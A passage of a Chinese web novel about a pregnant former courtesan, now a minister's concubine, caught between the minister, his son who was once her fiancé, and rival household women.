“无论她是被欺辱,还是心甘情愿,如今她只是为父的妾室,昭明以后勿要再提起此事。” 男人眼神平静,依旧那副什么都不放在眼里的神色。 徐可心眸色怔然,直愣愣地盯着他。 她自从离开教坊司后,时常因官妓的身份被人斥责,连林昭明也拿她的过往羞辱她,可最不可能接受她的大人,却从未介怀她的过往。 徐可心靠在他怀里,双臂不自觉收紧,只觉心微微酸胀,胸口也很闷。 大人接纳她,给了她容身之处,虽性子冷,生气时很恶劣,但不会有意让她难堪。 她想不明白,她只想留在大人身边,并未索求不属于她的东西,可为何他们兄弟二人仍要赶她走,好似她是个十恶不赦无法饶恕的罪人。 徐可心环着男人的腰背,紧攥他的衣服,不愿回头再看林昭明一眼。 林昭明站在不远处,看着徐可心依赖的背影,心知自己应该厌恶徐可心这般没有主见的模样,但不知为何,又觉这一幕格外刺眼。 好似在很久之前,徐可心每每被徐大人训斥时,都会独自躲起来。 他知晓徐可心不想让旁人为她忧虑,但他忍不住跟过去,守在她的门外,费力地踮起脚尖透过窗缝看她。 她哭得很伤心,整个人蜷缩在被子中,眼眶涨红,与平时温婉浅笑的模样判若两人,格外脆弱,好似还未绽放的花苞,风雨一落,就会飘零落地。 他当时只有一个念想,就是早日长大成人,成为一个真正的男人,让徐可心依靠他,就同眼前这般…… 幼时他的确想保护徐可心,让她依靠他,但他也不记得从何时开始,格外厌恶徐可心软弱的模样,厌恶她同京中官家小姐一样,只知风花雪月,不懂他的志气抱负,好似除了嫁给他以外,再也没有旁的志趣。 不似沈家小姐,精通诗词歌赋,通晓经书典籍。 林昭明面色紧绷,想起父亲方才说沈家小姐如今就在府中,他垂在身侧的手紧攥成拳,向男人俯身行礼后,快步离开。 有更重要的人再等着他, 他不能再浪费心思在徐可心身上。 他自认为是他放弃了徐可心,可离开的背影透着几分不易察觉的慌乱,好似不愿再面对眼前一幕。 不愿看见徐可心躲在别的男人怀里寻求安慰,而对他避之不及。 脚步声越来越远,直到彻底没了声音,徐可心才缓缓抬头,对上男人俯视的目光,轻声唤了声大人。 林远舟不咸不淡地嗯了一声,抬手抚上她的侧脸,用指腹擦拭她眼尾残留的泪。 “方才可否受了委屈?”他问。 徐可心不记得自己听过几次这句话了,之前她未回应一次,但莫名地,不想再忍受他们兄弟二人的僭越,皱着眉头,轻轻嗯了一声。 好似未料到她会答应,林远舟抬眸看了她一眼。 桌案前,徐可心环着男人的脖颈,在他耳边委屈控诉,“大人,可否让两位公子不要再踏入听雨阁,妾身不愿见到他们,也不想承他们的恩情。” “大人,求你了,让他们勿要再踏入听雨阁。” “他们还未成婚,却时常跑来听雨阁,连累妾身……”她话音一顿,未再继续说下去。 对上男人审视的目光,徐可心垂下眉眼,忍不住小声告状道,“连累妾身被夫人惩处。” 她几次被夫人责罚,都是因为他们兄弟二人,徐可心真真切切不想再与他们有所牵连,只想安稳度日,留在大人身边。 林远舟揽着她的腰,淡声问,“不愿再见到他们?” 已经开了口,她索性破罐子破摔,微微点头,“不愿再见到。” 徐可心认为两人在很认真地商议此事,可不知怎么回事,在她讲完后,男人忽得轻笑一声,眼尾微微上挑,眸色惑人。 她心上窘迫,方要埋怨大人为何笑她时,对上男人满是笑意的眉眼,到嘴边的话又被她咽了回去。 她坐在男人怀里,怔愣地盯着他眉眼间的浅笑,未等深思,不受控地俯下身,轻轻吻上男人的唇角。 唇贴上的一瞬间,男人眼底的笑意凝固。 徐可心也霎时清醒,意识到自己越矩了,身子一僵。 见他脸上笑意褪去,自知犯了错,徐可心垂下头,装作什么都未做一般,埋首在男人颈侧,不同他对视。 她知晓大人不喜欢亲吻,但她实在难以忍受对方真心实意的笑,忍不住吻上他的唇角。 若两人每日只是欢好,深究下来,也无多少情意在里面。 她想再进一步,想触碰到大人的真心,看见他的喜悦,知晓他的恶劣,哪怕是不堪的脆弱,她也想触碰,有关大人的一切,她都想要探寻。 她紧张地蜷缩在男人的颈侧,等待男人的训斥,可过了半晌,环住她肩膀的手用力,男人不仅未训斥她,反而在她耳边低笑道,“既然可心不喜欢他们二人,明日让他们离府可好?” 她刚犯了错,大人并未追究她的错处,而是提议让他们兄弟二人离府,心上不自觉松了口气。 她垂着眉眼,方要说不必离府,只要他们不来听雨阁扰她清净即可,但一想到白日两人冒犯的言语,徐可心又咽下口中的话。 她犹豫半晌,闷闷地嗯了一声,贴着男人耳边轻声道,“不想再见到他们二人。” 语气很轻,但能听出话里的不满。 林远舟垂着眉眼,也未再说什么,抱着她又安抚良久,说晚间会来见她。 待他走后,屋内只余下她一人。 徐可心看着桌案上的汤药,端起后倒在了花盆里。 不知晓大人是否真得会让他们离开,还是哄她的话,不过大人如今知晓她的难处,之后那两人总会收敛一些,不会再直接跑到她房中闹事…… 她垂着眉眼,想起方才林昭明冷厉的面色,不知晓他是否会再来找自己,徐可心只觉一口气堵在心口,只期望他能早日成婚,不要再来打扰她的清净。 徐可心紧抿着唇,抚上自己的腹部,只求能平平安安生下这个孩子,不必再受人胁迫。 第38章 书房。 男人随意坐在桌案前,长发垂落至身后并未竖起,单穿一件外衣长裤,白衣松松垮垮地搭在他的身上,露出半边肌理分明的胸膛,馥郁檀香顺着香炉垂落,在书房内静静流淌。 他手执宣笔,看了几眼公文,也不知晓是否仔细看了,随意批注几句,就将文书扔到一旁。 若不知晓他的身份,单看他不拘形迹的举止,还以为他是哪个闲云野鹤的文人居士,而非位尊权重的首辅大人。 唯一能与隐士相契合的,就是六亲缘浅,骨肉情疏情薄如纸,不把任何人放在心上,哪怕是自己的亲生骨肉。 管家推门走进,缓步走至桌案前,俯身行礼禀告道,“大人,大公子如今已经离京,年前才会返京,二公子也回了国子监,有沈家小姐陪在身侧,想必无暇回府。” 管家不知晓,大人为何要派大公子离京,又命人准许沈小姐入国子监,他素来不在意大公子的政务和二公子的婚事,可这次明显有意安排,并非无心之举。 男人手持文书,闻言未说什么。 管家禀告完,见男人没有其他吩咐的意思,俯身行礼就要离开,快转身时,一直沉默无言的男人忽然眼也不抬地问,“若自己的妾室受了委屈,因此闷闷不乐,郁气压身,应如何哄慰?” 管家脚步一顿,不解地看向坐在桌前的男人,未敢相信有朝一日他会亲耳听见大人问他如何哄慰人。 受了委屈,又闷闷不乐……怎么听都像在说听雨阁那位。 毕竟府上众人不是逢迎谄媚大人,就是畏惧害怕大人,只有听雨阁那位是个痴情的,被训斥责罚几次,依旧像个雏儿一样,非大人不可,好似大人是什么摄人心魄的鬼魅,把她迷住了一般。 管家未成婚,也不知晓怎么哄女人,但他知晓听雨阁喜好弹琴,又因琴被责罚,失了琴。 过去他路过听雨阁时,时常能听见里面传出各色琴曲,自从府中的琴被尽数焚毁后,就再也未听过了。 管家斟酌着话,试探道,“大人……不如投其所好,以物相赠?” 库房里的那把琴还好好地放在那里,并未被焚毁,眼下正好名正言顺送过去。 管家这般想着,小心窥着对方的面色,见大人良久未落下一字,提议道,“大人,工部尚书送上门的那把琴如今被放在库房,无人使用,早就积了一层薄灰,不如将它送到擅琴之人的手中,也不至于让此琴沦为无用摆设。” 他说完,等待男人的命令,过了良久,才见听男人开口,命他将琴送到听雨阁,连带着那几件用苏绣制成的锦衣。 见自己猜对了,钱管家松了口气,转身就要去传令。 男人放下文书,又叫住了他,吩咐几句。 听完他的话,钱管家不敢草率行事,迟疑追问,“大人,这匣子是装脂膏的小匣子还是镜匣……”亦或装草药的药匣之类的大匣子。 毕竟匣子不同,所放之物的个数也不同。 放寻常东西也就罢了,但若放那种东西……他不得不多问一句。 男人眼也不抬,命他择一妆匣。 钱管家彻底不明白了,若放那东西,怎么看都应用空无一层的空匣子,不应用繁琐多层的妆匣,不过已经得了准话,他也未敢再多言,领命而去。 听雨阁。 徐可心方用完午膳,却见钱管家领着几个小厮快步走进听雨阁,面上带着笑容,格外热切,好似有什么喜事一般。 她面色困 惑,看向几人手中的匣子,不解问,“这是何物?” 钱管家未卖关子,打开了其中一个箱子。 徐可心抬眼看去,却见一把通体漆黑的琴安置在箱中,琴身颈腰内弯,琴弦通透明亮。 她眸色微怔,下意识上前一步,轻抚拨弄,浑厚的琴音霎时在屋内响起,余音绕梁,格外低沉。 府上的琴已经被焚毁,此琴又非凡品,徐可心垂着眉眼,忍不住细细抚摸琴弦,用指骨轻叩琴身,回声清脆,并不沉闷。 徐可心垂着眉眼,指腹在琴身上流连,良久才试探问,“这是大人命你送来的?” 钱管家笑着说是,“此琴正是之前工部尚书送到府上的那把琴,大人特意嘱咐小人送到姨娘手中。” 府上的琴那日尽数被焚毁,徐可心本以为这把琴也被烧了,未曾想过竟被留了下来。 凤栖梧桐,伏羲制琴。 徐可心的目光落在上面,无论如何都无法移开。 她抚着琴弦,饶是得了管家的话,也不敢相信她会得到这把琴,复又问了几次,知晓这把琴确确实实是送给她的,徐可心才忍不住试琴,拨弦听音,面上露出喜色。 钱管家见状,又命人打开余下两个箱子。 一个箱子里面装的是锦衣绣布,徐可心只随意看了一眼,并未在意,只惦念自己手中的琴。 她刚要收回目光,视线掠过最后一个箱子,却骤然停下,却见三层高的妆匣最顶层摆满了金锭。 徐可心的眸子霎时瞪大,连琴也顾不上了,不明白大人为何将金锭放在妆匣里,心上疑惑未消,却见小厮又打开另外两侧,里面的空层也装满了金锭。 忽然想起几日前林怀瑾用装金饰的妆匣作为赔礼,她心跳一滞,面色紧绷。 大人那日来听雨阁见她,并非是巧合,而是知晓林怀瑾上门,之后恰好撞见林昭明逼迫她喝堕胎药,大人才未提起此事,但他其实一直记得。 她当时被林昭明吓到,也忘了此事,但大人未忘记,徐可心看着妆匣中的金锭,心上忐忑不安,不知晓大人此举究竟是什么意思。 “姨娘,姨娘……” 耳边轻唤不停,徐可心霎时回神,怔愣地看向站在一旁的钱管家。 钱管家笑了笑,“若无事的话,小人回去复命了。” “等等!” 见他要走,徐可心下意识叫住钱管家,快步向里室走去,翻出放在角落里的妆匣,交到他手中。 “这是?”钱管家接过去,面色不解。 徐可心犹豫良久,轻声叮嘱,“劳烦管家告诉大人,妾身并未收下此物,也不愿承大公子的恩情,还请管家转交给大人。” “还有……妾身很喜欢这把琴。” 待钱管家走后,徐可心坐在桌案前,盯着妆匣中的金锭,心绪纷乱如麻,没有心思弹琴,满脑子想的都是大人为何送金锭给她,是否介怀此事,她又是否应该同大人解释。 她本想等大人晚间过来,向他认错,但晚膳前,丫鬟说大人未时离府,好似今夜不回来了,徐可心只能作罢。 钱管家带着三箱东西前去听雨阁,被路过的人看在眼里,各院纷纷派人打听,到底送的是什么东西。 知晓其中两个箱子装的是衣物和琴时,众人心上稍稍不平,倒也未过多在意,可听说其中一个妆匣装有三层的金锭后,饶是大夫人,也忍不住叫来管家,问他为何大人会忽然送金锭给徐姨娘。 管家无奈摆手,说他也不知晓。 正院。 白日请安时,徐可心仍惦念妆匣一事,心不在焉地坐在那里,被丫鬟轻轻扯着衣服才回过神,环视堂内众人,却发觉不知何时,她们一齐盯着她看,目光直白带着审视,直勾勾的格外渗人。 徐可心紧攥衣服,没有贸然开口。 “四妹,下人说大人昨日命人给你送了三箱好物,不知四妹可否拿出来,让三姐看上一眼。” “四妹素来慷慨,想必不会拒绝三姐。” 三姨娘噙着笑,盯着她一字一句道,那笑意浮在眼中,并不真切。 三姨娘刚流产未多久,知晓她怀有身孕后,每日请安时,时不时挑她的理,有意给她难堪。 知晓三姨娘失了孩子,心上想必格外痛苦,徐可心不想刺激她,只默默应着,从不提起自己怀孕一事。 眼下她也垂着眉眼,既没有拒绝,也没有答应,活脱脱地像个受气包。 一拳头打在棉花上,三姨娘长叹一声,自顾自道,“哎呀,是我命不好,刚怀有身孕就被那女人推入水中,也连累我腹中苦命的孩子,还未来到世上见大人一面就死了。” “我命苦,不像四妹,本就讨大人喜欢,现在又得了大人的愧疚。” 大人介怀她腹中孩子的死,才会把对死去胎儿的愧疚转到她徐可心身上。听出三姨娘话的意思,徐可心沉默无言,依旧没有理会她。 徐可心不知道大人是否介怀三姨娘腹中孩子的死,但她知道大人一定介怀林怀瑾送她的妆匣。 大人本就是那孩子的父亲,若他真得介怀那孩子的死,她反倒认为大人有几分世俗气,可惜……大人从未对她提起一次那孩子。 徐可心紧抿着唇,下意识抚摸自己腹部,忍不住担忧大人是否会在意她的孩子,还是把这孩子视为死物,无论生死,他都不放在心上。 她不回应,三姨娘更气了,话语不停,不是暗讽她过去是官妓,就是诅咒她的孩子活不长久。 本来每日请安片刻,大夫人就会命她们离开,可自从她怀孕后,每每三姨娘有意为难她,请安的时辰就会格外漫长。 大夫人端着茶杯坐在一旁,事不关己地默默品茶,好似认准了她是个性情软弱的,有意放任三姨娘斥责她。 她不敢招惹大夫人,只能坐在那里等大夫人的命令,在心中默默希求大夫人能快些放她走。 这几日请安好似独属于她的审讯一般,每每离开正院,徐可心都如释重负地舒了口气,快步回听雨阁,生怕走得晚了又被大夫人命人叫过去受审。 她被指责不好受,三姨娘一肚子火气撒不出去,也气得浑身颤抖,一回到院子就捡起花瓶摔在地上,坐在桌案上紧咬着牙。 若她的孩子没死,眼下徐可心得到的一切也应是她的,徐可心分明踩着她孩子的尸体上位。 三姨娘搭在桌案上的手紧攥成拳,指尖深深陷入皮肉之中。 丫鬟们站在一旁,大气不敢喘。 过了半晌,她紧抿着唇,勒令一众下人退了出来,只留下一个小厮。 “去给李郎传信,告诉他今夜在墙外等我。” 小厮面色迟疑,“姨娘,李公子近日公务繁忙,可能不会前来……” “娶妻生子就想和我撇清关系,他倒是狠心,那女人给他生的孩子就是他的孩子,我死去的孩子又算什么?如今竟不愿见我一面。” 三姨娘咬牙道,“你只管告诉他,他今夜必须来见我,若他不来,我明日就去李家寻他。” 小厮闻言,只能应下。 听雨阁。 这几日大人好似格外繁忙,丫鬟传唤说,大人今夜依旧未回府。 徐可心入寝后,心中惦念妆匣的事情,无论如何无法入睡,心里格外沉闷。 她自从入府后,鲜少出门,怕遇见他们兄弟二人,知晓他们近日不在府中,她思索半晌,想要出去散散心。 她刚怀有身孕,还未显怀,丫鬟知晓她有心事,也未劝解,陪她一起离了听雨阁。 秋冬之际,弯月高悬。 分明从听雨阁出来时,风还很轻,可走了半晌,一阵寒风拂过,竟透着几分冷意。 徐可心紧了紧衣服,环视四周,却见不知何时走到东北侧的一间无人院落,她方要准备回去,忽然一道黑影从院墙上闪过。 她眸色一怔,若她未看错,那道黑影好似是个赤身裸体的男人。 徐可心站在原地,还未等回神,却听院内传来三姨娘的质问声,“你怎么在这?” 第39章 徐可心身子一僵,缓慢转身, 却见身后空无一人。 她与丫鬟对视一眼,寻声缓步向院墙的雕花石窗前走去,透过雕花石窗向里看,却见三姨娘站在院中,冷眼瞧着一个女子。 徐可心仔细分辨女子的容貌,认出这人是夫人身边的丫鬟。 三姨娘冷着眉眼,质问她为何在院中,她面上带着怒气,光看气势好似占了上风,但细究下去,很容易察觉她眼底的慌乱。 丫鬟平声道,“夫人命奴婢做事,无法告知姨娘,不知姨娘深夜不睡,又为何在此处?” 三姨娘话语一噎,紧皱着眉,“我的孩子死了,我寻一处清净处悼念我死去的孩子也不行吗?你这丫鬟未免管得也太宽了。” 丫鬟面色不变,不紧不慢道,“奴婢并无冒犯之意,只是奴婢方才路过时,听到了姨娘哭声,才走入院中。” “我的孩子死了,是我的孩子,不是你的孩子,我不哭难道我要笑吗?笑给谁看?谁要看我的笑?” 三姨娘话语不停,一字一句质问,辩解自己为何出现在此处,忘记追问丫鬟有没有看见旁的人。 院墙外,徐可心眸色微怔,想起方才院墙上的那个男人,她疑觉不对,下意识想要离开。 她转过身刚要离开,恰好院内的丫鬟也要走。 “四姨娘?”丫鬟叫住她。 徐可心身子一僵,转过身,却见丫鬟透过石窗看着她,三姨娘也看过来,四目对视,她快步走上前,立刻道,“你怎么也在这里?” 她紧咬着牙,面色青红交替,好似未料到还有人在院外,“你难道也路过?” 她走得近了,徐可心才注意到三姨娘的衣服略微褶皱,好似匆匆穿上一般,鬓角的发丝也些许凌乱。 知晓自己偷听有冒犯之嫌,徐可心温声道,“妾身深夜难眠,在府中散心,闲逛至此,方才听到吵闹声才驻足此地,不曾想过会看见三姐。” 徐可心不知晓两人深夜不睡出现此处的缘由,但她真真切切路过此处,若早知晓会撞见三姨娘和夫人院中的丫鬟,无论如何她今夜也不会离开听雨阁。 她面色平和,三姨娘盯着她看,眼底带着审视,明显未相信她的话。 “你方才可看到什么?”三姨娘忽然质问道。 徐可心紧抿着唇,轻声道,“妾身只是路过,恰巧撞见三姨娘和周姑娘交谈,并无冒犯之意。” 见三姨娘还要说什么,徐可心先道,“三姐,妾身应该看到什么吗?” 她的声音很轻,好似随口一问,三姨娘却彻底没了声音,无声看了她半晌,嗤笑道,“偷听本就是无义之举,本以为四妹过去是千金小姐,懂得些礼义廉耻,没想到行事也是小人之风。” “妾身听到异响上前察看,若三姐认为此举不妥,妾身也无可辩驳,君子难为,妾身也只是寻常女子。” 徐可心眸色平静,只字不提方才的那个男人。 她和丫鬟都说路过,三姨娘质问良久,都未得到旁的回答,眼底的慌乱褪去些许。 好似怕她们继续追问下去,三姨娘将她们一齐赶走,说要为死去的孩子祈福,骂她们晦气,让她们快点离开。 徐可心怕牵扯到什么事情中,也不想继续留在这里,未再多言,带着丫鬟离开了。 回去的路上,她看着一侧的石墙,脚步一顿,忽然想起,孙玉景那日信中同她约定的地点就在此处,派来的人也是在这里被三姨娘发现,被当成窃贼抓了起来。 此处位于府中东北侧,单有一处无人院落和一片竹林,墙外是偏僻的街道小巷,隔壁的宅邸还未被赐给某位大臣。 孙玉景选择此处派人接应她,也不无道理,不过三姨娘为何会在这里,那个赤身裸体的男人方才又为何出现在院中…… 忽然想起方才三姨娘些许凌乱的衣服,一个念头在心头浮现,徐可心转身,看向随行的丫鬟,迟疑道,“方才……” 她方要问丫鬟,是否看到那个男人,丫鬟越过她瞥了眼她的身后,先声道,“姨娘,方才你说风太大想回去,如今你怀有身孕,还是快些离开为好。” 注意到她的目光,徐可心话语一顿,转身看去,却见不知何时,周姑娘一直跟在她们身后,不知跟了多久。 四目对视,好似知晓自己被发现了,周姑娘走上前,向她微微行礼,随后走至她们身前。 徐可心站在原地,只觉脊背发寒。 待周姑娘的身影消失在拐角,丫鬟又说了一遍回去。 徐可心紧抿着唇,回去的一路上未再说一字,直到关上门,一直沉默无言的丫鬟才道,“姨娘,夜色太黑,奴婢眼拙,不曾看见什么,姨娘应也是如此,若看见了什么,恐也只是错觉。” 看见了也当做没看见。 徐可心听懂了她的意思,良久后微微颔首。 险些撞见不该看见的,徐可心也不再惦念妆匣了,后怕地抚着心口,脱下外衣上床入寝。 正院。 “夫人,人已经翻墙出府了,奴婢方才瞧见,好似是李三公子……”周姑娘迟疑道。 “你可看清楚了?”大夫人瞥了她一眼。 周姑娘微微点头,又把方才的事讲了一遍,“奴婢进院时,留意了周围,并无旁人,徐姨娘是之后奴婢和三姨娘谈话时被发现的。” “她也看见了三公子?”大夫人问。 “应是未看见,三姨娘问了她几句,徐姨娘说入夜难眠,出来散心。” 大夫人闻言,沉默良久,淡声道,“她如今怀有身孕,多愁善感,入夜难眠也在所难免,终归有几日胡思乱想。这几日朝中政务繁多,大人数日未在府中过夜,她见不到大人总应惦念的。” 大夫人垂着眉眼,看着手中刚取来的信,心思却不在上面。 她当初怀孕那会儿,那人未来见她一面,甚至孩子出生后,他也未来过问,本以为大人只是不喜欢孩子,但她怀昭明那会儿,这人依旧未来见她。 如今徐可心怀有身孕,那人却时常去她院中。 若非先知晓徐家失势,她也的确很满意徐可心这个儿媳,但徐家失势,她终究不能让自己的儿子娶一个贱籍之女,可没想到兜兜转转,徐可心还是入了林府。 好似是为了惩罚她拆散儿女姻缘,老天爷又把徐可心送到大人身边,让她自食恶果。 走了一个得宠的四姨娘,还有五姨娘六姨娘在后面等着,只有她依旧不得那人喜欢。 周姑娘站在一旁,见她良久无言,试探问,“夫人,要将此事禀告大人吗?” 大夫人合上信纸,不紧不慢折叠,“不必。” 周姑娘微微点头,虽不知晓夫人此举的意思,但也未再多问,领命退了下去。 白日请安时,三姨娘明显安分些许,未同往日那般故意挑徐可心的不是。 在场几人各怀心思,但也都未提起昨夜的事情。 之后几日也相安无事。 听雨阁。 大人近日公务繁重,徐可心惦念他,每日坐在桌前,想等他过来。 她闲来无事,在那日送来的锦布中择了两匹,想亲手为腹中的孩子缝制衣裳。 她坐在桌案前,垂着眉眼思索,忽然听到一阵有力脚步声。 以为来人是大人,徐可心霎时回神,快步向门外跑去。 房门推开的瞬间,她直接扑进来人怀里,环着对方的腰背,忍不住埋怨道,“这几日去做了什么,为何才来见妾身。” 她软着声音,埋首在对方怀里嗔怪不停,可身前男人不仅未回抱她,甚至身体僵硬,好似愣在原地。 忽然意识到不对劲,徐可心缓慢抬眼,却未看见预料中的朝服,而是国子监的蓝衫。 隐隐猜到了身前人的身份,徐可心的身子霎时一僵,迟疑抬头,却见林昭明站在她面前,垂着眉眼,面色复杂地看着她。 眼底没有多少厌恶,甚至透着几分不知所措。 几乎瞬间,徐可心松开手,向后退了一步,面上的依赖也尽数褪去,变成往日那副惴惴不安的模样,慌乱问,“你不是在国子监吗?” 她的神色变得太过明显,畏惧警惕的模样与方才依赖的姿态截然不同,林昭明面色一黑,脸上的无措也消失得一干二净,上前一步扯住她的手臂,俯视她质问道,“怎么?见到我父亲就卖乖讨好,软着声音讲话,见到我就避之不及,徐可 心,我过去怎么不知晓你这般会谄媚讨好呢?” “若此时站在你面前的是我父亲,你是不是已经脱下衣服,主动贴上来了?” “我没有,你快放开我。” 她用力扯回自己的手臂,走到一旁的桌案坐下,背过身子不看林昭明。 哪里想到来人会是林昭明,想起自己方才的举动,她心上窘迫,面色涨红,强迫自己不理会林昭明的话,继续缝制手中的衣裳。 她不开口,林昭明的眉眼也愈发阴沉,目光掠过徐可心手中的衣服上,他直接伸手,直接抢了过来,单手撑着桌案,阴鸷地盯着徐可心,“你过去是我的未婚妻,你生的孩子又要如何唤我?” “是父亲,还是兄长?” 徐可心害怕他,不敢抢回衣物,垂着眉眼盯着地面,攥着手指,回避审视的目光。 无论林昭明说什么,她都沉默不开口,像个闷葫芦一样,林昭明气极反笑,攥紧手中的衣物,手背青筋凸起。 “你不是说过,只为我一人缝制衣物吗?这算什么?” 林昭明将衣服拿到徐可心面前,让她不得不看。 少时她跟随绣娘学习女红,不似弹琴时那般得心应手,她的绣工实属一言难尽,因此被绣娘告到父亲那里。 父亲认为她不尽心,责罚她不得用膳,何时得了绣娘的认可,何时才可入寝。 她不敢违背父亲,只能忍着困意和饥饿,一夜不睡,反复研习针法,饶是手指被扎得鲜血直流,也不敢停止,但依旧未得到绣娘的认可。 她一天一夜未用膳,也未吃东西,身子疲惫至极,恰巧林昭明跑来找她,见她模样憔悴,以为她受了欺负,当即要赶走绣娘。 绣娘只能解释,是在研习女红,若不懂刺绣,她嫁进夫家后,会被夫家耻笑。 林昭明闻言,彻底生气了,说他就是徐小姐的未婚夫,也不在乎她是否擅女红,让绣娘快滚。 林昭明当时还小,但混世魔王的气势已经初见端倪,加之他父亲又是颇有权势备受皇帝重用的林大人,绣娘不敢惹他,只能快步离开,跑去父亲那里告状。 待绣娘走后,林昭明捧着她的手,小心地为她包扎伤口,鼓着脸颊,命她不得再研习女红,也不得缝制衣服香囊之类的东西。 若是要做,也只能送给他。 林昭明在府中闹了一通,徐可心本以为父亲会责怪她,没想到那日之后,父亲竟真得未让她再跟着绣娘学习女红。 思绪回笼,徐可心听着耳边的质问,心跳得厉害,闻言轻声道,“你不也说过会娶我吗?”之后不还是退婚,同沈家小姐有了婚约。 徐可心本意是想告诉林昭明,他们已经没有婚约彻底两清了,过去的誓言承诺也一笔勾销,谁也不欠谁。 可等她说完,林昭明的面色不仅未缓和,反而阴沉到极点,他浑身透着戾气,直勾勾盯着徐可心,好似要将她生吞活剥一般。 怕他做混账事,徐可心身体僵硬,攥着衣服的手不自觉用力,只觉心跳得愈发厉害,不自觉咽了下干涩的口水,甚至不敢抬头看他。 第40章 话出口,屋内霎时陷入死寂。 过了半晌,徐可心才听见他说,“只是少时无心的承诺,算不得真。” “你不会当真了?” 他面色很阴沉,但语气很平、很稳,没有任何起伏,不带有一丝情绪,只是……很平静地问她。 她轻轻攥着衣袖,莫名有些无措,她又收回了手,只放在腿上,垂着眉眼。 原来她过去一直无法放下的承诺,在林昭明看来,只是无心的。 若是无心的,为何会在少时喜欢她,又为何为了她几次出头,当众打了欺辱她的公子……冲动莽撞,但一切都是为了她。 那般赤诚热烈,原来也只是无心之举。 她也不记得,从何时开始,林昭明开始嫌恶她,好似无论她怎样做都是错的,她就是错的本身,光是站在那里,就惹他心烦。 若在过去,她总要因为林昭明的话难过几日,但在教坊司磋磨数年,她的心也早已被磨成更为圆钝的石头。 在家中受父亲管制,在教坊司受嬷嬷管制,她好似笼中困兽,怎么也无法逃脱,本以为林昭明会带走她,给她一直想要的自由,但林昭明之后不要她了。 在笼中活了二十余载,唯一的希望破灭,她也早就被驯化了,心也是一潭死水。 她垂着眉眼,抬眸无声回视站在自己面前的男人,眼底没有胆怯,只是温声道,“祝愿林二公子与沈小姐百年好合早生贵子。” 她的声音很轻,一贯温柔的调子。 林昭明却没了声音,死死盯着她,好似在判断她话语的真假。 以为他未听清,徐可心沉默片刻,复又重复道,“祝愿林二公子与沈小姐百年好合早生贵子。” 缘深缘浅,到此也结束了,再无因果。 徐可心未想过自己有一天会这般轻松地说出祝愿林昭明喜得佳人的话,少时她喜欢林昭明,相信林昭明会将她从徐家带走,以为只要嫁给他了,就再也不会受父亲的责罚。 如今想来,都是她的幻想罢了,林昭明是她的南柯一梦,终究无法让她托付终身。 梦早就结束了,她也早就清醒了,但不知为何,林昭明不仅不愿放过她,还要拖她下坠,再将她拉入万劫不复的阴潭。 她不想下坠,也不想重蹈覆辙,见林昭明盯着她看,徐可心沉默良久,手指微动,主动扯住他的衣服,轻声道,“昭明,我想留在林府,我不会再纠缠你,也不会生事,我只想留在大人身边,安稳度日。” “我们的婚约已经不做数了,我也放下了,你准许我留在府中好不好?若你答应,我今后都不会再提起我们的过去,也不会让旁人知晓,我们曾有过婚约。” “沈小姐入府后,我也会乖乖留在院中,不会惹她不快。” 徐可心话语不停,小声恳求着,用两人的过去做条件,林昭明的面色逐渐凝固,好似被她无耻的要求惊到一般。 徐可心也知晓她给出的条件算不得什么,她紧抿着唇,深呼一口气,站起身,屈膝跪在地上,攥着身前男人的衣摆,微微仰头看着他,轻声道,“昭明,我不知晓你过去对我是否是真心的,我只知道,你对我很好,很好很好。” “看在过去的情分上,昭明,你留下我罢,若你留下我,我们过去的情分就一笔勾销,不会借过往的情意生事,也不会同人提起我们的婚约,你只是沈小姐的未婚夫,我也只是大人的妾室。” 她跪在地上,姿态卑微至极,已经放弃了一切,只求林昭明心软,彻底放过她。 可她每说一句,林昭明的面色阴沉一分。 临到最后,林昭明站在她身前,任由徐可心扯着他的衣服,居高临下地俯视她,面无表情道,“徐可心你做梦。” 他留下这一句话,转身离开,独留徐可心跪在原地,手指蜷缩,紧攥衣袖。 她不明白林昭明为何不愿放过她,非要赶她走,徐可心瘫坐在地,身子彻底脱力。 过了良久,她才找回知觉,扶着桌案站起身。 本以为心早就麻木了,但在林昭明离开后,她一整天魂不守舍的,终究还未彻底放下,不自觉反复去回想他的话。 待心绪平复些许,她才忽然想起,还不知晓林昭明今日为何来听雨阁找她。 她一直想着林昭明的话,甚至忘了妆匣的事情。 入夜她去沐浴,穿衣后准备入寝,未同往日那般坐在桌前等候。 房门被推开时,她正昏昏沉沉快要入睡,直到沉稳的脚步声在屋内响起越靠越近,她才霎时清醒,掀开被子起身,转身的瞬间,却见数日不见的男人站在床前,身着一件绯色衣袍。 他站在床前,眉眼沉静,分明是分外妖冶的颜色,穿在他身上莫名衬得他格外端雅,好似画中祈雨的神仙走了出来。 徐可心一时看得痴了,盯着男人良久未移开目光。 林远舟垂着眉眼,任由她打量。 他少时姿容出众,受京中小姐喜欢,不过他素来不在意自己的容貌,只专心功名利禄,得天子垂青晋为吏部尚书后,还有几个高门贵女心悦他,可等他逐渐手握权势肃清朝堂后,一众官家小姐就对他避之不及了,也不再上门求亲。 林远舟抬手,抚上身前人的侧脸,垂眸注视她痴迷的眸色,漫不经心地抚着徐可心的下唇。 若他未记错的话,他这位情人少时也很怕他,见到他就躲着走,饶是无心撞见,也低垂着脑袋,身子瑟缩。 知晓徐大人对家中小辈管教森严,徐小姐性情胆怯软弱也情有可原。 不过林远舟未想到的是,这人成了他的妾室后,在无人之时倒是格外直率,甚至格外依赖他,目光赤诚,未掺杂半分假意,同过往看向林昭明的目光一般无二。 无瑕,直白,好似未被雕琢的璞玉,不会令人感到怜惜,只会心生玷污之意。 徐家上门求亲时,知晓结姻之人是徐家长小姐,林远舟坐在堂中,眼前浮现的却是她胆怯软弱的面色,无论在哪里都小心行事,好似只要稍微对她说了重话,她就会躲起来偷偷哭泣,令人心生暴虐。 他素来不在意长子和幼子的婚事,但那日不知为何,在徐家人和吴氏小心问询他的想法时,他未同往日那般不置一词,而是准许了,同意了两人的婚事。 未曾想过有朝一日,这人竟会被送到他床上,还怀了他的孩子。 无暇的东西总是容易引起毁坏欲,人也在所难免。 若她反抗,林远舟没有强人所难的喜好,倒也不会强迫就范,只会失了几分兴致,偏偏他的情人乖得出奇,疼了也只会乖乖受着。 分外可怜,格外惹人怜。 林远舟垂着眉眼,用力揉着她的下唇,手上力气不自觉加重,难言的暴虐也在心中滋生蔓延。 男人手上的力气太重,疼得徐可心微微蹙眉,含糊地唤了一声大人,膝行到床边,环住他的腰背,将脸埋在他怀里,不让他揉自己的唇。 看出她的心思,林远舟垂眸,抚上她的后脖颈,不轻不重摩挲皮上的软肉,低声道,“心思用在这上面了?” “妾身没有……” 徐可心不承认,环住他腰背的手臂却微微用力,透露出几分心虚。 